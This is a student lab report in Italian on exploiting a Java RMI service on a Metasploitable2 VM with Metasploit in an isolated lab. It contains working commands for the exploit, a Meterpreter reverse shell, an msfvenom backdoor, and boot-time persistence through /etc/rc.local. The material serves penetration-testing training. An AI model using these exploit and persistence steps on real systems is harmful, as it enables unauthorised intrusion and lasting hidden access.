

# Exploit

# Java RMI

## CSPT0324 Modulo 4



Yilei Wu

26 Ottobre 2024

## Indice

<i>Traccia esercizio</i>	3
Suggerimento	3
<i>Configurazione del laboratorio virtuale</i>	4
<i>Scansione porte aperte e servizi attivi</i>	5
<i>Metasploit</i>	6
Ricerca rapida sulla vulnerabilità Java individuata	6
Modulo exploit/multi/misc/java_rmi_server	7
Meterpreter	8
Funzioni utili	9
Utente root	9
Processi attivi	9
Directory	9
Creazione di un file	10
Backdoor	11
Creazione e caricamento su Metasploitable2	11
Configurazione della backdoor in Metasploitable2 attraverso meterpreter in Kali Linux	12
Preparazione dell'ambiente virtuale al test	13
Connessione alla backdoor persistente appena creata	14
<i>Analisi dei risultati</i>	15
Configurazione di rete della macchina target	15
Tabella di routing della macchina target	15
Informazioni di sistema	15
ID dell'utente con cui si è entrati	15
<i>Mitigazione della vulnerabilità su Metasploitable2</i>	15
Disabilitazione del servizio RMI - chiusura porta 1099	16
<i>Conclusione</i>	16

## Traccia esercizio

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

### Suggerimento

**Se dovete ricevere l'errore mostrato in figura sotto, modificate il parametro HTTPDELAY e configurate il valore a 20.**

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://0.0.0.0:8080/wwFYvKVpD
[*] 192.168.11.112:1099 - Local IP: http://127.0.0.1:8080/wwFYvKVpD
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58053 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:50773) at 2022-07-23 09:55:20 -0400
[-] 192.168.11.112:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show options
```

## Configurazione del laboratorio virtuale

Raccomandazione: aggiornare la macchina Kali prima di procedere, comando:

```
sudo apt update && sudo apt upgrade -y && sudo apt autoremove -y
```

La configurazione target è la seguente:

Kali indirizzo IP statico: **192.168.11.111**

Metasploitable2 indirizzo IP statico: **192.168.11.112**

Per la configurazione degli indirizzi IP statici, si rimanda alle istruzioni contenute nei report:

- M1\W1\D5 "Configurazione Macchine Virtuali.pdf" per Metasploitable2
- M3\W12\D5 "Analisi delle vulnerabilità e azioni di rimedio.pdf" per Kali Linux

Le macchine devono essere impostate su Virtual Box con la scheda di rete connessa sulla stessa rete interna.

Di seguito viene mostrata la configurazione degli indirizzi IP avvenuta con successo:

- Kali Linux

```
kali㉿kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host noprefixroute
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d9:ba brd ff:ff:ff:ff:ff:ff
        inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
            valid_lft forever preferred_lft forever
        inet6 fe80::7cb9:628a:e7e0:c0c2/64 scope link noprefixroute
            valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d9:ba brd ff:ff:ff:ff:ff:ff
kali㉿kali:~$
```

- Metasploitable2

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:db:7f:ae brd ff:ff:ff:ff:ff:ff
        inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
            valid_lft forever preferred_lft forever
        inet6 fe80::a00:27ff:fedb:7fae/64 scope link
            valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Si conferma inoltre che la connessione tra le due macchine virtuali è avvenuta con successo tramite il comando **ping**.

```
(kali㉿kali:~)$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=8.95 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.30 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.559 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.503 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.560 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=8.67 ms
^C
--- 192.168.11.112 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5058ms
rtt min/avg/max/mdev = 0.503/3.422/8.945/3.817 ms
(kali㉿kali:~)$

msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.559 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=2.02 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.05 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.809 ms
64 bytes from 192.168.11.111: icmp_seq=5 ttl=64 time=0.676 ms
64 bytes from 192.168.11.111: icmp_seq=6 ttl=64 time=1.07 ms
--- 192.168.11.111 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5002ms
rtt min/avg/max/mdev = 0.559/1.033/2.029/0.483 ms
msfadmin@metasploitable:~$
```

## Scansione porte aperte e servizi attivi

Utilizzare Nmap per eseguire una scansione rapida delle porte e dei servizi attivi sulla macchina target con il seguente comando:

- **nmap -sV 192.168.11.112**      metodo rapido
- **nmap -A 192.168.11.112**      metodo approfondito

Differenze principali:

- **-sV** si concentra solo sull'identificazione delle porte aperte e delle versioni dei servizi. È più veloce rispetto a una scansione completa e approfondita.

```
(kali㉿kali)-[~]
└─$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 00:34 CEST
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 21.74% done; ETC: 00:34 (0:00:07 remaining)
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 65.22% done; ETC: 00:34 (0:00:11 remaining)
Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 73.91% done; ETC: 00:36 (0:00:45 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.0035s latency).

Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #10000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?

1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs        2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc        VNC (protocol 3.3)
6000/tcp  open  X11        (access denied)
6667/tcp  open  irc        UnrealIRCd
8009/tcp  open  ajp13     Apache Jserv (Protocol v1.3)
8180/tcp  open  http       Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:DB:7F:AE (Oracle VirtualBox virtual NIC)

Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.45 seconds
```

- **-A** esegue anche altre operazioni, come il rilevamento del sistema operativo, traceroute e l'esecuzione di script, il che rende la scansione molto più lenta e complessa.

```
Network Distance: 1 hop
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
_|_clock-skew: mean: 1h05m22s, deviation: 2h18m52s, median: -14m16s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|   System time: 2024-10-24T18:17:00-04:00
_|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
_|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT      ADDRESS
1  3.59 ms  192.168.11.112

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 316.42 seconds
```

Come da indicazioni, queste scansioni con Nmap confermano che la porta 1099/tcp, relativa al servizio Java RMI, è aperta.

## Metasploit

Metasploit è un framework open-source che consente di eseguire test di penetrazione e sfruttare vulnerabilità nei sistemi informatici per migliorare la loro sicurezza.

Comandi:

1. **msfconsole** per avviare il framework;
2. **search java\_rmi** per cercare i moduli pertinenti alla vulnerabilità relativa a java-rmi;  
attenzione: per la ricerca il trattino “–” è sostituito da underscore “\_”;

```
msf6 exploit(multi/misc/java_rmi_server) > search java_rmi
Matching Modules
=====
#  Name                               Disclosure Date   Rank    Check  Description
--  --
0  auxiliary/gather/java_rmi_registry          .           normal  No     Java RMT Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server          2011-10-15  excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2    \ target: Generic (Java Payload)
3    \ target: Windows x86 (Native Payload)
4    \ target: Linux x86 (Native Payload)
5    \ target: Mac OS X PPC (Native Payload)
6    \ target: Mac OS X x86 (Native Payload)
7  auxiliary/scanner/misc/java_rmi_server      2011-10-15  normal   No    Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31  excellent No     Java RMIClientImpl Deserialization Privilege Escalation
```

Dai risultati si possono escludere i moduli relativi ai sistemi operativi Windows e Mac Os e si valuta la priorità di utilizzo dei moduli a partire dal rank “excellent” che sono, in immagine, il numero 1 e numero 8

### Ricerca rapida sulla vulnerabilità Java individuata

La vulnerabilità exploit/multi/misc/java\_rmi\_server, scoperta il 15 ottobre 2011, riguarda una configurazione insicura del Java RMI (Remote Method Invocation) Server. Questo servizio consente a un programma Java di eseguire operazioni su un'altra macchina attraverso la rete. Tuttavia, in alcune versioni, il server è configurato in modo predefinito per accettare ed eseguire codice Java proveniente da utenti non autorizzati.

Il problema principale è che il server Java RMI non applica controlli di sicurezza adeguati su chi può inviare richieste e quali operazioni possono essere eseguite. Di conseguenza, un attaccante remoto può sfruttare questa lacuna per inviare codice malevolo al server e farlo eseguire. Questo può portare all'accesso completo al sistema vulnerabile, permettendo l'esecuzione di qualsiasi azione, come la modifica dei dati o il controllo del sistema.

Di seguito viene mostrato come sfruttare questa vulnerabilità.

## Modulo exploit/multi/misc/java\_rmi\_server

- Il modulo **exploit/multi/misc/java\_rmi\_server** viene selezionato tramite il comando **use 1**.
- Il payload predefinito **java/meterpreter/reverse\_tcp** viene mantenuto in quanto adeguato allo scopo dell'esercizio. È il codice che viene eseguito una volta che l'exploit ha avuto successo.
- Per configurare il modulo, si esegue il comando **options**

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):  
  
Name      Current Setting  Required  Description
----      --------------  -----  -----
HTTPDELAY  10            yes       Time that the HTTP Server will wait for
                                the payload request
RHOSTS          0.0.0.0    yes       The target host(s), see https://docs.m
                                easploit.com/docs/using-metasploit/basi
                                cs/using-metasploit.html
RPORT      1099           yes       The target port (TCP)
SRVHOST     0.0.0.0        yes       The local host or network interface to
                                listen on. This must be an address on t
                                he local machine or 0.0.0.0 to listen o
                                n all addresses.
SRVPORT     8080           yes       The local port to listen on.
SSL         false          no        Negotiate SSL for incoming connections
SSLCert          0.0.0.0    no        Path to a custom SSL certificate (defau
                                lt is randomly generated)
URIPATH          0.0.0.0    no        The URI to use for this exploit (defaul
                                t is random)

Payload options (java/meterpreter/reverse_tcp):  
  
Name      Current Setting  Required  Description
----      --------------  -----  -----
LHOST     192.168.11.111   yes       The listen address (an interface may be spe
                                cified)
LPORT      4444           yes       The listen port

Exploit target:
```

- impostare l'indirizzo IP target comando **set RHOSTS 192.168.11.112**
- impostare l'indirizzo IP di ascolto **set LHOST 192.168.11.111** (in questo caso già di default)

- Lanciare l'exploit con il comando **run** oppure **exploit**

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run  
  
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/tgA1Q6ZDd8p
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:48637) at
2024-10-25 01:08:16 +0200  
  
meterpreter >
```

Exploit avviato con successo.

## Meterpreter

Meterpreter è il canale di comunicazione tra l'attaccante e il sistema compromesso, attivato dopo che l'exploit ha avuto successo. Si utilizzano i comandi di shell unix.

Lanciare i comandi:

- **sysinfo** per ottenere le informazioni sul sistema

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language: en_US
Meterpreter    : java/linux
```

- **ifconfig** per ottenere le informazioni sulla rete

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC: 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC: 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fedb:7fae
IPv6 Netmask : ::
```

- **route** per ottenere la tabella di routing

```
meterpreter > route
IPv4 network routes
=====
Subnet      Netmask     Gateway   Metric  Interface
127.0.0.1   255.0.0.0   0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====
Subnet      Netmask     Gateway   Metric  Interface
::1          ::          ::        ::       ::
```

Lanciare il comando **bg** per mettere in background l'attuale sessione, per richiamarlo usare il comando **sessions** e **sessions -i 1** (il numero relativo alla sessione interessata).

```
meterpreter > bg
[*] Backgrounding session 1 ...
msf6 exploit(multi/misc/java_rmi_server) > sessions
Active sessions
=====
Id  Name      Type      Information           Connection
--  --        --        --                    --
1   meterpreter java/linux root @ metasploitable 192.168.11.111:4444 →
                           x                                192.168.11.112:48637
                                         (192.168.11.112)

msf6 exploit(multi/misc/java_rmi_server) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > |
```

## Funzioni utili

### Utente root

**getuid:** Verifica l'utente corrente

```
meterpreter > getuid  
Server username: root
```

### Processi attivi

**ps:** Lista dei processi attivi

```
meterpreter > ps  
Process List  
=====  


| PID  | Name            | User | Path                 |
|------|-----------------|------|----------------------|
| 1    | /sbin/init      | root | /sbin/init           |
| 2    | [kthreadd]      | root | [kthreadd]           |
| 3    | [migration/0]   | root | [migration/0]        |
| 4    | [ksoftirqd/0]   | root | [ksoftirqd/0]        |
| 5    | [watchdog/0]    | root | [watchdog/0]         |
| 6    | [events/0]      | root | [events/0]           |
| 7    | [khelper]       | root | [khelper]            |
| 41   | [kblockd/0]     | root | [kblockd/0]          |
| 44   | [kacpid]        | root | [kacpid]             |
| 45   | [kacpi_notify]  | root | [kacpi_notify]       |
| 90   | [kseriod]       | root | [kseriod]            |
| 128  | [pdflush]       | root | [pdflush]            |
| 129  | [pdflush]       | root | [pdflush]            |
| 130  | [kswapd0]       | root | [kswapd0]            |
| 172  | [aio/0]         | root | [aio/0]              |
| 1128 | [ksnapd]        | root | [ksnapd]             |
| 1297 | [ata/0]         | root | [ata/0]              |
| 1300 | [ata_aux]       | root | [ata_aux]            |
| 1309 | [scsi_eh_0]     | root | [scsi_eh_0]          |
| 1312 | [scsi_eh_1]     | root | [scsi_eh_1]          |
| 1327 | [ksuspend_usbd] | root | [ksuspend_usbd]      |
| 1328 | [khubd]         | root | [khubd]              |
| 2081 | [scsi_eh_2]     | root | [scsi_eh_2]          |
| 2269 | [kjournald]     | root | [kjournald]          |
| 2423 | /sbin/udevd     | root | /sbin/udevd --daemon |
| 2650 | [kpsmoused]     | root | [kpsmoused]          |
| 3570 | [kjournald]     | root | [kjournald]          |


```

### Directory

**ls e pwd:** lista file e path corrente

```
meterpreter > ls  
Mode  Trash      Size     Type  Last modified          Name  
----  
040666/rw-rw-rw- 4096   dir    2012-05-14 05:35:33 +0200 bin  
040666/rw-rw-rw- 1024   dir    2012-05-14 05:36:28 +0200 boot  
040666/rw-rw-rw- 4096   dir    2010-03-16 23:55:51 +0100 cdrom  
040666/rw-rw-rw- 13480  dir    2024-10-25 00:08:34 +0200 dev  
040666/rw-rw-rw- 4096   dir    2024-10-25 00:08:40 +0200 etc  
040666/rw-rw-rw- 4096   dir    2010-04-16 08:16:02 +0200 home  
040666/rw-rw-rw- 4096   dir    2010-03-16 23:57:40 +0100 initrd  
100666/rw-rw-rw- 7929183 fil    2012-05-14 05:35:56 +0200 initrd.img  
040666/rw-rw-rw- 4096   dir    2012-05-14 05:35:22 +0200 lib  
040666/rw-rw-rw- 16384  dir    2010-03-16 23:55:15 +0100 lost+found  
040666/rw-rw-rw- 4096   dir    2010-03-16 23:55:52 +0100 media  
040666/rw-rw-rw- 4096   dir    2010-04-28 22:16:56 +0200 mnt  
100666/rw-rw-rw- 54849  fil    2024-10-25 00:09:01 +0200 nohup.out  
040666/rw-rw-rw- 4096   dir    2010-03-16 23:57:39 +0100 opt  
040666/rw-rw-rw- 0      dir    2024-10-25 00:08:25 +0200 proc  
040666/rw-rw-rw- 4096   dir    2024-10-25 00:09:01 +0200 root  
040666/rw-rw-rw- 4096   dir    2012-05-14 03:54:53 +0200 sbin  
040666/rw-rw-rw- 4096   dir    2010-03-16 23:57:38 +0100 srv  
040666/rw-rw-rw- 0      dir    2024-10-25 00:08:26 +0200 sys  
040666/rw-rw-rw- 4096   dir    2024-10-25 00:52:21 +0200 tmp  
040666/rw-rw-rw- 4096   dir    2010-04-28 06:06:37 +0200 usr  
040666/rw-rw-rw- 4096   dir    2010-03-17 15:08:23 +0100 var  
100666/rw-rw-rw- 1987288 fil   2008-04-10 18:55:41 +0200 vmlinuz  
  
meterpreter > pwd  
/  
meterpreter > █
```

## Creazione di un file

shell: avvia la shell

echo "Sei stato hackerato!" > giggino.txt: crea il file giggino.txt con il contenuto all'interno delle virgolette.

```
meterpreter > shell
Process 4 created.
Channel 5 created.
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
echo "Sei stato hackerato!" > giggino.txt
```

## Riscontro da metasploitable2

```
msfadmin@metasploitable:/> ls
bin    dev      home      lib      mnt      proc      srv      usr
boot   etc      initrd    lost+found  nohup.out  root      sys      var
cdrom  giggino.txt  initrd.img  media    opt      sbin      tmp      vmlinu
msfadmin@metasploitable:/> cat giggino.txt
Sei stato hackerato!
msfadmin@metasploitable:/>
```

## Backdoor

### Creazione e caricamento su Metasploitable2

Una volta ottenuto l'accesso tramite meterpreter, dal secondo terminale creare una backdoor con msfvenom, quindi recarsi sulla cartella "Desktop" con cd e creare la backdoor lanciando il comando **msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=192.168.11.111 LPORT=4444 -f elf > backdoor.elf**

```
(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.111 LPORT=4444 -f elf > backdoor.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
[-] No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
```

- **-p linux/x86/meterpreter/reverse\_tcp**: specifica il payload per una reverse shell su Linux.
- **LHOST=192.168.11.111**: è l'indirizzo IP della macchina Kali.
- **LPORT=4444**: è la porta su cui la macchina Kali che sarà in ascolto.
- **-f elf**: specifica che il formato del file generato che è un eseguibile ELF (per Linux).
- **backdoor.elf**: salva il payload generato in un file chiamato backdoor.elf

Come da immagine, lanciando questo comando dal Desktop, la backdoor "backdoor.elf" si trova sul Desktop.

```
meterpreter > upload /home/kali/Desktop/backdoor.elf /root/backdoor.elf
[*] Uploading : /home/kali/Desktop/backdoor.elf → /root/backdoor.elf
[*] Uploaded -1 00 B of 207.00 B (-0.48%): /home/kali/Desktop/backdoor.elf → /root/backdoor.elf
[*] Completed   /home/kali/Desktop/backdoor.elf → /root/backdoor.elf
meterpreter > 
(kali㉿kali)-[~/Desktop]
└─$ pwd
/home/kali/Desktop
(kali㉿kali)-[~/Desktop]
└─$ ls
backdoor.elf
(kali㉿kali)-[~/Desktop]
```

In questo caso si è scelto di caricare la backdoor nella cartella root di Metasploitable2, comando: **upload /home/kali/Desktop/backdoor.elf /root/backdoor.elf**

## Configurazione della backdoor in Metasploitable2 attraverso meterpreter in Kali Linux

Avviare la **shell** e rendere il file *backdoor.elf* eseguibile, modificando i permessi, comando:  
**chmod +x /root/backdoor.elf**

```
meterpreter > shell  
Process 1 created.  
Channel 1 created.  
chmod +x /root/backdoor.elf
```

Restando nella **shell** si crea il comando di avvio della backdoor all'avvio della macchina Metasploitable2 (un autorun on startup), modificando il file *rc.local*, comando: **echo "/root/backdoor.elf &" >> /etc/rc.local**  
*Si è preferito l'utilizzo di echo per le difficoltà riscontrate con nano in meterpreter.*

Accertarsi che il file *rc.local* sia eseguibile, modificando, anche in questo caso, i permessi, comando:  
**chmod +x /etc/rc.local**

```
meterpreter > shell  
Process 2 created.  
Channel 2 created.  
echo "/root/backdoor.elf &" >> /etc/rc.local  
chmod +x /etc/rc.local
```

Attraverso il comando **cat /etc/rc.local**, per leggere il contenuto del file, si nota che è stato inserito dopo la riga *exit 0*, dai test effettuati successivamente questo non è rilevante, in quanto non compromette la funzionalità di auto avvio all'avvio della macchina della backdoor, anche se è consigliabile inserirlo prima.

```
#!/bin/sh -e  
#  
# By default this script does nothing.  
  
nohup /usr/bin/rmiregistry >/dev/null 2>&1 &  
nohup /usr/bin/unrealircd &  
rm -f /root/.vnc/*.pid  
HOME=/root LOGNAME=root USER=root nohup /usr/bin/vncserver :0 >/root/vnc.log 2>&1 &  
nohup /usr/sbin/druby_timeserver.rb &  
  
exit 0  
/root/backdoor.elf &
```

Per scriverlo prima di *exit 0* si lancia il comando: **sed -i '/exit 0/i /root/backdoor.elf &' /etc/rc.local**

- *-i*: Modifica il file in-place (cioè direttamente nel file).
- */exit 0/i*: Cerca la riga *exit 0* e inserisce la riga specificata prima di essa.
- */root/backdoor.elf &*: la riga da inserire.

```
/root/backdoor.elf &  
sed -i '/exit 0/i /root/backdoor.elf &' /etc/rc.local  
cat /etc/rc.local  
#!/bin/sh -e  
#  
# rc.local  
#  
# This script is executed at the end of each multiuser r  
unlevel.  
/root/backdoor.elf &  
# Make sure that the script will "exit 0" on success or  
any other  
# value on error.  
#  
# In order to enable or disable this script just change  
the execution  
# bits.  
#  
# By default this script does nothing.  
  
nohup /usr/bin/rmiregistry >/dev/null 2>&1 &  
nohup /usr/bin/unrealircd &  
rm -f /root/.vnc/*.pid  
HOME=/root LOGNAME=root USER=root nohup /usr/bin/vncserv  
er :0 >/root/vnc.log 2>&1 &  
nohup /usr/sbin/druby_timeserver.rb &  
  
/root/backdoor.elf &  
exit 0  
/root/backdoor.elf &
```

Il comando **/root/backdoor.elf** come da figura affianco è prima della riga *exit 0*, questo è consigliabile, si ripete tuttavia che dai test effettuati nei capitoli successivi, è irrilevante riscriverlo oppure scriverlo dopo la riga *exit 0*, in giallo.

## Preparazione dell'ambiente virtuale al test

Al momento si è configurato il tutto tramite la vulnerabilità Java-RMI, quindi si continua avviando la **shell** per riavviare Metasploitable2, al fine di verificare se effettivamente la backdoor si apra già all'avvio della macchina.

Comando da **shell** in meterpreter: **sudo reboot**

```
[+] core_channel_interact: Operation failed: 1
meterpreter > sudo reboot
[-] Unknown command: sudo. Run the help command for more
details.
meterpreter > reboot
[-] The "reboot" command is not supported by this Meterp
reter type (java/linux)
meterpreter > shell
Process 4 created.
Channel 4 created.
sudo reboot
sudo reboot: command not found
sudo reboot
[+]
```

In contemporanea al riavvio di Metasploitable, per ottimizzare i tempi, uscire dalla sessione con il comando: **exit**

```
[*] 192.168.11.112 - Meterpreter session 1 closed.  Reas
on: Died
exit

Terminate channel 4? [y/N] y
[-] Send timed out. Timeout currently 15 seconds, you ca
n configure this with sessions --interact <id> --timeout
<value>
```

Nella figura sottostante si possono visualizzare tutti i servizi che sono stati avviati, all'avvio quindi, prima dell'inserimento delle credenziali per accedere alla macchina Metasploitable2. Si ritrova infatti il file **rc.local** che era stato accuratamente modificato per avviare la backdoor in modo automatico.

```
* Starting deferred execution scheduler atd
* Starting periodic command scheduler crond
* Starting Tomcat servlet engine tomcat5.5
* Starting web server apache2
* Running local boot scripts (/etc/rc.local) ← modificato
nohup: appending output to 'nohup.out'
nohup: appending output to 'nohup.out'
[ OK ]
[ OK ]
[ OK ]
[ OK ]

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login:
```

Connessione alla backdoor persistente appena creata

Sempre da msfconsole in Kali lanciare i seguenti comandi:

- **use exploit/multi/handler** per selezionare l'exploit
- **set payload linux/x86/meterpreter/reverse\_tcp** per selezionare il payload
- **options** per vedere le opzioni
- **set LHOST 192.168.11.111** per impostare l'IP di ascolto

```
msf6 exploit(multi/misc/java_rmi_server) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > []

msf6 exploit(multi/handler) > options

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name   Current Setting  Required  Description
  --     --              yes        The listen address
                                (an interface may b
                                e specified)
  LHOST          192.168.11.111    yes        The listen address
                                (an interface may b
                                e specified)
  LPORT          4444            yes        The listen port

Exploit target:

  Id  Name
  --  --
  0   Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/handler) > 
```

Avviare l'exploit con il comando **run** oppure **exploit**

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:47905) at 2024-10-26 02:09:18 +0200
[*] Meterpreter session 2 opened (192.168.11.111:4444 → 192.168.11.112:47906) at 2024-10-26 02:09:18 +0200

meterpreter >
meterpreter > 
```

Come da immagine l'attacante, tramite la backdoor creata appositamente per questa situazione specifica, è tornato ad avere l'accesso alla macchina target.

## Analisi dei risultati

### Configurazione di rete della macchina target

- **Interfaccia attiva:** `eth0`
- **Indirizzo IP:** `192.168.11.112`
- **Subnet Mask:** `255.255.255.0`
- **Gateway:** Nessun gateway esterno rilevato
- **Rete interna:** `192.168.11.0/24`

### Tabella di routing della macchina target

- La tabella di routing mostra il corretto instradamento del traffico nella rete locale `192.168.11.0/24`.
- Non sono presenti percorsi verso reti esterne o internet, confermando che la macchina è isolata nella rete virtuale.

### Informazioni di sistema

- **Sistema operativo:** Linux (Debian-based, Metasploitable2)
- **Architettura:** `x86` (32-bit)
- **Nome host:** `metasploitable`

